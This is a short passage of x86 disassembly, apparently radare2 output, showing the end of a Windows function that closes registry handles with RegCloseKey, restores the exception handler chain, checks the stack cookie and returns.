jne 0x43637d
cmp dword [ebp - 0x18], 1
je 0x43637d
mov byte [ebp - 0xd], 1
push dword [ebp - 0x28]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x20]
add ecx, 0xfffffff0
call fcn.00401240
push dword [ebp - 0x24]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x14]
add ecx, 0xfffffff0
call fcn.00401240
mov al, byte [ebp - 0xd]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x100]
xor ecx, ebp
call fcn.0046acd7
add ebp, 0x104
leave
ret